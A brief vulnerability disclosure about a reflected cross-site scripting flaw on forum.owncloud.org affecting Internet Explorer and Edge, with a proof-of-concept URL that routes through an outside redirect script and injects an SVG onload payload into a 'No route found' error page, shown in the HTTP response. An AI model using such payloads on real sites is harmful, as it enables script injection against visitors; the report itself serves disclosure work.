[forum.owncloud.org] IE, Edge XSS via Request-URI

How it was found

PoC (Internet Explorer, Edge):

https://blackfan.ru/x?r=https://forum.owncloud.org/<svg/onload=alert(document.domain)>/%252e%252e

blackfan.ru/x?r - simple redirection script, that necessary for exploitation

HTTP Response:

<div class="panel" id="message">
	<div class="inner">
	<h2 class="message-title">Information</h2>
	<p>No route found for "GET /<svg/onload=alert(document.domain)>/%2e%2e"</p>
		</div>
</div>